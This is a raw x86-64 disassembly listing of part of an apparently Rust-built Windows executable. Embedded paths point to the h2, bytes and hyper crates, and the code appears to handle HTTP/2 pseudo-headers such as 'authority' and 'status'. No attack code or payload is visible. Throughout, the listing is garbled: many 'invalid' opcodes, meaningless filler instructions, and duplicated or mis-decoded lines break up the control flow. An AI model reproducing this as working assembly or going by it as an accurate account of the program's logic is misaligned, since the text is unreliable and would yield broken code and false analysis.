cmp byte [rdi + 2], 0x75
jne case.0x14001cae4.6
cmp byte [rdi + 3], 0x74
jne case.0x14001cae4.6
cmp byte [rdi + 4], 0x68
jne case.0x14001cae4.6
cmp byte [rdi + 5], 0x6f
jne case.0x14001cae4.6
cmp byte [rdi + 6], 0x72
jne case.0x14001cae4.6
cmp byte [rdi + 7], 0x69
jne case.0x14001cae4.6
cmp byte [rdi + 8], 0x74
jne case.0x14001cae4.6
cmp byte [rdi + 9], 0x79
jne case.0x14001cae4.6
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x20]
call fcn.14001e1a0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14001d631
mov rcx, qword [rsp + 0x98]
movzx edx, word [rsp + 0xa0]
movzx r8d, word [rsp + 0xa6]
mov word [rsp + 0x24], r8w
mov r8d, dword [rsp + 0xa2]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0xa8]
mov qword [r14], rax
mov qword [r14 + 8], rcx
mov word [r14 + 0x10], dx
mov eax, dword [rsp + 0x20]
mov dword [r14 + 0x12], eax
movzx eax, word [rsp + 0x24]
and al, 0x24
and al, 0x24
mov word [r14 + 0x16], ax
mov qword [r14 + 0x18], r8
mov byte [r14 + 0x40], 2
jmp 0x14001d60e
lea rcx, [0x14016f768]
mov qword [rsp + 0x48], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [0x140110a98]
mov qword [rsp + 0x40], rcx
jmp 0x14001d452
lea rcx, [rsp + 0x40]
mov rdi, rdx
mov rbx, r8
call fcn.140012050
mov r8, rbx
mov rdx, rdi
cli
cli
mov rax, r14
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
movaps xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movups xmmword [rax + 0x30], xmm2
mov qword [rax + 0x20], rcx
and byte [rcx + rcx*4 + 0x48], cl
sub byte [rdi], cl
adc dword [rax + 0x10], ecx
and byte [rcx + rcx*4 + 0x48], cl
sub byte [rdi], cl
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
mov byte [rax + 0x40], 0
jmp 0x14001d5fb
mov r10b, 0xb
mov byte [rcx], r10b
mov byte [rcx + 0x40], 8
add rsp, 0x1e0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
movzx ecx, byte [rdi + 2]
cmp ecx, 0x63
je case.0x14001a677.108
cmp ecx, 0x74
jne case.0x14001cae4.6
cmp byte [rdi + 3], 0x61
jne case.0x14001cae4.6
cmp byte [rdi + 4], 0x74
jne case.0x14001cae4.6
cmp byte [rdi + 5], 0x75
jne case.0x14001cae4.6
cmp byte [rdi + 6], 0x73
jne case.0x14001cae4.6
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
mov rbx, rcx
mov r15, rdx
call fcn.140032790
test ax, ax
je case.0x14001a36d.524
mov word [r14], ax
mov byte [r14 + 0x40], 7
mov rdx, rbx
mov edx, ebx
mov r8, r15
jmp 0x14001d5fb
cmp byte [rdi + 3], 0x68
jne case.0x14001cae4.6
cmp byte [rdi + 4], 0x65
jne case.0x14001cae4.6
cmp byte [rdi + 5], 0x6d
jne case.0x14001cae4.6
cmp byte [rdi + 6], 0x65
jne case.0x14001cae4.6
invalid
add byte [rdi], cl
adc byte [rsp + 0xe0], al
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x20]
call fcn.14001e1a0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14001d631
add byte [rax], al
invalid
mov rcx, qword [rsp + 0x98]
movzx edx, word [rsp + 0xa0]
movzx r8d, word [rsp + 0xa6]
mov word [rsp + 0x24], r8w
mov r8d, dword [rsp + 0xa2]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0xa8]
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov qword [r14 + 8], rcx
mov word [r14 + 0x10], dx
mov eax, dword [rsp + 0x20]
mov dword [r14 + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [r14 + 0x16], ax
mov qword [r14 + 0x18], r8
mov byte [r14 + 0x40], 4
jmp 0x14001d60e
mov byte [rax], 9
mov byte [rax + 0x40], 8
mov rdx, qword [rsp + 0xe8]
mov edx, dword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xe0]
lea rcx, [rsp + 0xf8]
call qword [rax + 0x10]
lea rcx, [rsp + 0x178]
mov rax, qword [rsp + 0x160]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add dword [rax], eax
invalid
mov r8, rsi
call qword [rax + 0x10]
jmp 0x14001d4a1
mov byte [r14], 7
mov byte [r14 + 0x40], 8
jmp case.0x140012ef4.479
invalid
dec esp
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x70
mov rsi, rcx
movzx eax, byte [rdx + 0x40]
lea ecx, [rax - 2]
lea ecx, [rax - 2]
dec al
xor r8d, r8d
cmp cl, 6
movzx eax, al
rol byte [rax - 0x49f0f907], 0xc0
cmovae eax, r8d
movzx eax, al
lea rcx, [0x140172b8c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov r10, qword [rdx]
test r10, r10
je 0x14001d7c9
add byte [rax], al
add byte [rax], al
lea rax, [rdx + 0x18]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdi, rdx
mov rdx, rax
call qword [r10]
mov rdx, rdi
mov rdi, qword [rsp + 0x28]
movzx ebx, byte [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x31]
xor dword [rdi], ecx
sub dword [rsp + 0x50], eax
xor dword [rdi], ecx
sub dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x5f], rax
and al, 0x5f
jmp 0x14001d7cf
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
sub byte [rdi], cl
adc byte [rsp + 0x38], cl
sub byte [rdi], cl
adc byte [rsp + 0x38], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 5
jmp 0x14001d81f
movzx ebp, byte [rdx]
cmp ebp, 9
jae 0x14001d82a
mov byte [rsi], bpl
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x4b]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
add al, 0x48
mov dword [rsi + 8], ebx
mov qword [rsi + 0x10], rdi
mov byte [rsi + 0x40], 3
invalid
jmp 0x14001d81f
lea rax, [rdx + 0x18]
lea eax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
invalid
adc byte [rax - 0x73], cl
and al, 0x28
sub byte [rax - 0x77], cl
ret 0xff41
mov rdx, rax
call qword [r10]
adc cl, byte [rdi]
adc byte [rsp + 0x28], al
adc cl, byte [rdi]
adc byte [rsp + 0x28], al
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 4
jmp 0x14001d81f
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
sbb byte [rbx + r9*4 + 0x12], cl
sbb byte [rbx + rcx*4 + 0x12], cl
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
or byte [rbx + r9*4 + 0x4a], cl
adc byte [rax - 0x73], cl
and al, 0x28
mov rdx, rax
mov edx, eax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
adc byte [rsp + 0x28], al
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
adc dword [rsi], eax
adc byte [rdi], cl
adc dword [rsi], eax
mov byte [rsi + 0x40], 2
jmp 0x14001d81f
xchg ebx, eax
add byte [rax], al
invalid
add bpl, cl
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x73], cl
sbb byte [rbx + r9*4 + 0x12], cl
sbb byte [rbx + rcx*4 + 0x12], cl
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r10]
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
adc dword [rsi], eax
mov byte [rsi + 0x40], 6
jmp 0x14001d81f
movzx eax, word [rdx]
mov word [rsi], ax
mov dword [rsi], eax
mov dword [rsi], eax
mov byte [rsi + 0x40], 7
jmp 0x14001d81f
movzx ebx, byte [rdx + 8]
xor edi, edi
lea rax, [rdx + 0x38]
mov r10, qword [rdx + 0x20]
mov r8, qword [rdx + 0x28]
mov r9, qword [rdx + 0x30]
lea rcx, [rsp + 0x28]
mov r14, rdx
mov rdx, rax
call qword [r10]
movzx eax, byte [r14 + 0x40]
mov qword [rsi], rdi
mov byte [rsi + 8], bl
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 9], xmm0
mov rcx, qword [rsp + 0x5f]
mov qword [rsi + 0x18], rcx
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x30], xmm1
mov byte [rsi + 0x40], al
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
jne 0x14001d847
movzx edi, byte [rdx + 0x10]
mov eax, dword [rdx + 1]
mov ecx, dword [rdx + 4]
mov dword [rsp + 0x4b], ecx
mov dword [rsp + 0x48], eax
mov rbx, qword [rdx + 8]
jmp 0x14001d702
mov r14, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
test rdi, rdi
je 0x14001d871
js 0x14001d889
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x14001d88e
mov rbx, rax
jmp 0x14001d876
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14001d702
call fcn.140010910
mov ecx, 1
mov rdx, rdi
call fcn.140104360
int3
cli
invalid
lea rdx, [0x140172ba8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
adc eax, 0x4634800
invalid
add eax, edx
jmp rax
cmp qword [rcx], 0
je 0x14001d937
mov rdx, qword [rcx + 0x10]
jmp 0x14001d948
mov rax, qword [rcx + 0x10]
add rax, 0x25
add eax, 0x25
add eax, 0x25
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx]
lea rdx, [0x140172bc4]
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add al, 0x82
add rax, rdx
jmp rax
mov eax, 7
jmp 0x14001d906
mov rax, qword [rcx + 0x10]
add rax, 0x27
add rsp, 0x20
pop rsi
ret
mov rax, qword [rcx + 0x10]
add rax, 0x2a
add rsp, 0x20
pop rsi
ret
mov rax, qword [rcx + 0x10]
add rax, 0x29
add rsp, 0x20
invalid
invalid
adc byte [rax - 0x7d], cl
shr byte [rcx], 0x48
add esp, 0x20
invalid
invalid
invalid
pop rsi
ret
mov eax, 0x2a
add byte [rax], al
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx + 8]
mov rsi, rcx
invalid
mov ecx, eax
call fcn.14002e9e0
add byte [rax - 0x77], cl
int1
invalid
add byte [rax - 0x77], cl
int1
mov rax, qword [rcx + 0x30]
add rax, rdx
add rax, 0x20
and byte [rax - 0x7d], cl
invalid
invalid
xor byte [rax + 1], cl
ror byte [rax - 0x7d], 1
shl byte [rax], 0x48
invalid
invalid
and byte [rax - 0x7d], cl
invalid
add esp, 0x20
pop rsi
ret
mov eax, 3
jmp 0x14001d906
mov eax, 4
jmp 0x14001d906
mov eax, 5
jmp 0x14001d906
movzx eax, byte [rcx + 0x10]
cmp rax, 0x10
jb 0x14001d906
adc byte [r8 - 0x7d], cl
clc
adc byte [rdx - 0x72], dh
lea r8, [0x140126268]
mov edx, 0xf
mov rcx, rax
call fcn.1401046e0
mov eax, 6
jmp 0x14001d906
sub al, ch
invalid
int3
int3
adc byte [rcx], al
movups xmmword [rsp + 0x38], xmm0
mov r9, qword [rcx + 0x10]
mov byte [rsp + 0x28], 0
and al, 0x28
add dh, al
and al, 0x20
and al, 0x20
add dword [rax - 0x73], ecx
adc eax, 0xf4ba7
cmpsd dword [rsi], dword [rdi]
invalid
invalid
invalid
cmp byte [rbx + rcx*4 + 0x49], cl
adc dh, al
and al, 0x28
add dh, al
and al, 0x20
and al, 0x20
and al, 0x20
add dword [rax - 0x73], ecx
adc eax, 0xf4ba7
cmpsd dword [rsi], dword [rdi]
invalid
invalid
invalid
cmpsd dword [rsi], dword [rdi]
str word [r8 - 0x73]
lea rcx, [rsp + 0x38]
and al, 0x38
xor r8d, r8d
call fcn.1400e2eb0
int3
int3
sub byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
jns 0x14001da95
mov qword [rcx], 0
test rsi, rsi
add byte [rax], al
add byte [rax - 0x7b], cl
div byte [rsp + rdi + 0xf]
je 0x14001dad5
invalid
mov dh, 5
adc al, bh
clc
test esi, esi
je 0x14001dad5
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
add byte [rax], al
clc
adc eax, 0x10ba00
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
and eax, 0x8548000c
invalid
and eax, 0x8548000c
sal byte [rbp + rdx + 0x48], 0x89
je 0x14001dac6
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rax + 8], edi
je 0x14001dac6
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rax + 8], edi
mov dword [rax + 8], edi
lea rdx, [0x140112b18]
add rsp, 0x28
invalid
invalid
pop rcx
push rax
str word [rax - 0x7d]
add esp, 0x28
invalid
pop rdi
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x10
call fcn.140104380
invalid
invalid
add byte [rax], al
add al, ch
stosd dword [rdi], eax
push 0x7b9000e
invalid
invalid
invalid
invalid
add byte [rax], al
invalid
mov ecx, 7
int 0x29
ud2
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
or ecx, dword [rax - 0x77]
enter 0xffffffffffff8d48, 0x15
adc eax, 0xf5028
ret
adc eax, 0xf5028
ret
mov ecx, 7
int 0x29
ud2
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
push rdi
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
mov r15, qword [r8]
mov r10, qword [r8 + 8]
mov rax, qword [r15 + 8]
cmp rax, r10
jbe 0x14001db84
mov r9, qword [r15]
movzx r11d, byte [r9 + r10]
lea r12, [r10 + 1]
mov qword [r8 + 8], r12
mov r14d, r11d
and r14d, 0x7f
cmp r14, 0x7f
jg 0x14001dbb4
invalid
jg 0x14001dbb4
sub dword [rbx - 0x1fc6b3ff], esi
mov bl, 1
cmp rax, r12
jbe 0x14001db7c
movzx esi, byte [r9 + r10 + 1]
lea r12, [r10 + 2]
mov qword [r8 + 8], r12
mov r14d, esi
and r14d, 0x7f
add r14, 0x7f
test sil, sil
js 0x14001ddd0
xor esi, esi
mov rdi, rax
sub rdi, r12
cmovae rsi, rdi
div dword [r11 - 0x9c6b6fe]
div dword [r11 - 0x9c6b6fe]
jbe 0x14001db9d
mov byte [rcx + 1], bl
mov byte [rcx], 1
jmp 0x14001db89
mov word [rcx], 1
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, r12
sub rsi, r10
test r11b, r11b
js case.0x140018ed4.475
add r12, r14
jb 0x14001e05e
add byte [rax], al
add byte [rax], al
cmp r12, rax
ja 0x14001e076
xchg dword [rsp + rax - 0x76b30000], edi
invalid
mov qword [r8 + 8], r12
mov dword [rax + 8], esp
mov qword [rcx + 8], 0
mov qword [rcx + 0x28], rsi
mov dword [rcx + 0x28], esi
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 0x28], esi
mov dword [rcx + 0x28], esi
mov qword [rcx + 0x30], r14
mov byte [rcx], 0
xor dh, al
add dword [rax], eax
jmp 0x14001db89
mov qword [rsp + 0xb8], rsi
add byte [rax], al
mov qword [rsp + 0xc0], r15
add r9, r12
loope case.0x140018ed4.461
cmp eax, esp
rol byte [rax], 0
add byte [rbp + 1], cl
loope case.0x140018ed4.461
cmp eax, esp
lea rax, [0x14016f768]
add eax, 0x151b78
cmova rax, r9
cmova eax, ecx
ror dword [r8 - 0x77], 0x84
mov qword [rsp + 0xc8], rax
lea rax, [rdx + 0x40]
lea eax, [rdx + 0x40]
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rdx + 0x40]
mov qword [rsp + 0x30], rax
lea eax, [rdx + 0x40]
mov qword [rsp + 0x30], rax
lea eax, [r14 + r14]
mov r9, qword [rdx + 0x50]
sub r9, qword [rdx + 0x48]
cmp rax, r9
cmp rax, r9
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], r8
and al, 0x28
mov qword [rsp + 0x68], rdx
jbe 0x14001dc41
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rdx, rax
call fcn.1400126a0
mov rdx, qword [rsp + 0x68]
mov edx, dword [rsp + 0x68]
mov edx, dword [rsp + 0x68]
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
test r14, r14
je 0x14001de64
lea rax, [rdx + 0x50]
lea eax, [rdx + 0x50]
mov qword [rsp + 0x90], rax
xor esi, esi
lea r10, [0x140114c30]
invalid
add byte [rcx], dh
invalid
jmp 0x14001dca7
and al, 0x90
add byte [rax], al
add byte [rcx], dh
test byte [rbp + rcx*4 + 0x15], 0xd1
outsd dx, dword [rsi]
invalid
mov r10, qword [rsp + 0x30]
mov r10, qword [r10]
mov byte [r10 + rax], bl
inc rax
mov qword [rsp + 0x98], rax
cmp rax, r9
ja 0x14001dfeb
mov qword [rdx + 0x48], rax
lea r10, [0x140114c30]
inc rsi
cmp r14, rsi
je 0x14001de54
cmp rdi, 0x100
jae 0x14001dfc3
mov rax, qword [rsp + 0xc8]
movzx ebp, byte [rax + rsi]
shl rdi, 8
add rdi, r10
mov eax, ebp
and eax, 0xfffffff0
movzx r9d, byte [rax + rdi + 9]
mov r13b, 1
mov r11b, 6
test r9b, 4
jne 0x14001de5f
add rdi, rax
mov rbx, qword [rdi]
test r9b, 2
je 0x14001dd53
movzx edi, byte [rdi + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001dd28
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.1400126a0
mov r11b, 6
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [rsp + 0x30]
mov r10, qword [r10]
mov byte [r10 + rax], dil
inc rax
mov qword [rsp + 0x98], rax
cmp rax, r9
ja 0x14001dfeb
mov qword [rdx + 0x48], rax
lea r10, [0x140114c30]
cmp rbx, 0x100
jae 0x14001dfd7
shl rbx, 8
add rbx, r10
and ebp, 0xf
shl ebp, 4
movzx r15d, byte [rbp + rbx + 9]
test r15b, 4
jne 0x14001de5f
add rbx, rbp
mov rdi, qword [rbx]
test r15b, 2
je 0x14001dc9b
movzx ebx, byte [rbx + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001dc70
mov edx, 1
mov rcx, qword [rsp + 0x30]
call fcn.1400126a0
mov r11b, 6
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
jmp 0x14001dc70
cmp rax, r12
jbe 0x14001db7c
movzx esi, byte [r9 + r10 + 2]
lea r12, [r10 + 3]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 7
add r14, rdi
test sil, sil
jns 0x14001db69
cmp rax, r12
jbe 0x14001db7c
movzx esi, byte [r9 + r10 + 3]
lea r12, [r10 + 4]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 0xe
add r14, rdi
test sil, sil
jns 0x14001db69
cmp rax, r12
jbe 0x14001db7c
movzx esi, byte [r9 + r10 + 4]
lea r12, [r10 + 5]
mov qword [r8 + 8], r12
test sil, sil
js 0x14001dfbc
and esi, 0x7f
shl esi, 0x15
add r14, rsi
jmp 0x14001db69
test r15b, 1
jne 0x14001de64
test rdi, rdi
je 0x14001de64
jmp 0x14001df71
mov r8, qword [rdx + 0x48]
lea rcx, [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
call fcn.140012500
mov rax, qword [rsp + 0x38]
movzx r11d, byte [rsp + 0x40]
test rax, rax
je 0x14001decf
movzx ecx, r11b
movzx edx, byte [rsp + 0x47]
shl edx, 0x10
movzx r8d, word [rsp + 0x45]
or r8d, edx
shl r8, 0x20
mov edx, dword [rsp + 0x41]
or rdx, r8
mov rsi, qword [rsp + 0x50]
test sil, 1
jne 0x14001dee1
shl rdx, 8
or rdx, rcx
lea r9, [0x14014bbf0]
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
jmp 0x14001df6e
mov r13b, 1
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
jmp 0x14001df71
mov ebx, r11d
shr rsi, 5
shl rdx, 8
or rdx, rcx
sub rax, rsi
add rdx, rsi
mov rcx, qword [rsp + 0x48]
add rcx, rsi
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rdx
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0xe0]
call fcn.140012430
mov qword [rsp + 0xd0], rsi
mov rax, qword [rsp + 0xa8]
mov rdx, rax
sub rdx, rsi
jb 0x14001e08e
add rsi, qword [rsp + 0xa0]
mov r9, qword [rsp + 0x98]
mov rax, rsi
mov rsi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov r11d, ebx
xor r13d, r13d
add r12, r14
jb 0x14001e05e
mov r10, qword [rsp + 0xc0]
cmp r12, qword [r10 + 8]
ja 0x14001e076
mov qword [r8 + 8], r12
mov byte [rcx], r13b
mov byte [rcx + 1], r11b
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x20], rsi
mov rax, qword [rsp + 0xb8]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], r14
jmp 0x14001db89
mov bl, 0xb
jmp 0x14001db7c
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
mov rcx, rdi
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
mov rcx, rbx
call fcn.140104670
lea rax, [rsp + 0x98]
mov qword [rsp + 0x70], rax
jo 0x14001e041
lea eax, [fcn.140012c90]
jo 0x14001e041
lea eax, [fcn.140012c90]
invalid
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x90]
add byte [rax], al
invalid
js 0x14001e04d
mov ecx, dword [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
and al, 0x80
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
invalid
test byte [rax + rcx*4], ah
add byte [rax], al
mov dword [rsp + 0x88], eax
add byte [rax - 0x73], cl
add eax, 0x1204d5
adc al, byte [rax]
lea rax, [0x14013e4f8]
adc al, byte [rax]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
add al, byte [rax]
add byte [rax], al
cmp byte [rax - 0x39], cl
and al, 0x40
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
and al, 0x70
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 2
mov dword [rsp + 0x50], 2
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x38]
and al, 0x38
add al, 0x12
add byte [rax - 0x73], cl
and al, 0x38
and al, 0x38
and al, 0x38
call fcn.140104620
add byte [rax - 0x73], cl
or eax, 0x12dcb3
adc al, byte [rax]
lea rcx, str.overflow
adc al, byte [rax]
lea r8, [0x14014bd20]
mov edx, 8
add byte [rax], al
fcom qword [rdx]
add byte [rdx + 8], bh
add byte [rax], al
add byte [rax], al
call fcn.140104a60
add byte [rax - 0x73], cl
or eax, 0x12dc4b
adc al, byte [rax]
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
adc al, byte [rax]
lea r8, [0x14014bd00]
mov edx, 0x36
add byte [rax], al
fcom qword [rdx]
add byte [rdx + 0x36], bh
add byte [rax], al
add byte [rax], al
call fcn.1401046f0
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x70], eax
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
and al, 0xd0
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
lea rax, [0x1400ea5c0]
add eax, 0xcc516
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
lea rax, str.cannot_advance_past__remaining_:___
fist dword [rdx]
add byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
mov cl, 0
adc al, byte [rax]
lea rcx, [rsp + 0x38]
call fcn.140104620
int3
mov eax, edi
call qword [rax + 0x10]
mov rbx, r15
mov ebx, edi
mov ebx, edi
mov rdi, r12
mov qword [rsi + 8], rbx
mov dword [rsi + 8], ebx
mov qword [rsi + 0x10], rdi
mov qword [rsi], 0
add byte [rax], al
adc byte [rax - 0x39], cl
invalid
add byte [rax], al
jmp 0x14001e2a2
mov rax, qword [r14]
test rax, rax
invalid
je 0x14001e276
mov rcx, qword [r14 + 0x18]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
or byte [rax - 0x77], cl
jle 0x14001e2ae
invalid
or byte [rax - 0x77], cl
jle 0x14001e2ae
mov dword [rsi + 0x10], edi
mov qword [rsi + 0x18], rcx
mov dword [rsi + 0x18], ecx
sbb byte [rax - 0x7d], cl
invalid
add rsp, 0x38
add esp, 0x38
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
ret
cmp dword [rcx], 0
add byte [rbp + rax + 0x48], dh
je case.0x14001d8f9.13
add eax, 0x10418b48
mov rax, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
adc bl, al
ret
movzx eax, byte [rcx + 8]
or byte [r8 - 0x73], cl
lea rcx, [0x140172bf0]
or eax, 0x15492a
adc rax, 0x4634800
add byte [rax + 0x63], cl
add al, 0x81
invalid
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0xb8e0ffc8
invalid
add rax, rcx
add eax, ecx
jmp rax
mov eax, 7
ret
add byte [rax], al
add bl, al
mov eax, 0xd
ret
add byte [rax], al
add bl, al
mov eax, 4
ret
add byte [rax], al
add bl, al
mov eax, 6
ret
add byte [rax], al
add bl, al
mov eax, 0xf
ret
add byte [rax], al
add bl, al
mov eax, 0x10
ret
add byte [rax], al
add bl, al
mov eax, 0x11
ret
add byte [rax], al
add bl, al
mov eax, 0x16
ret
add byte [rax], al
add bl, al
mov eax, 0xa
ret
add byte [rax], al
add bl, al
mov eax, 0xc
ret
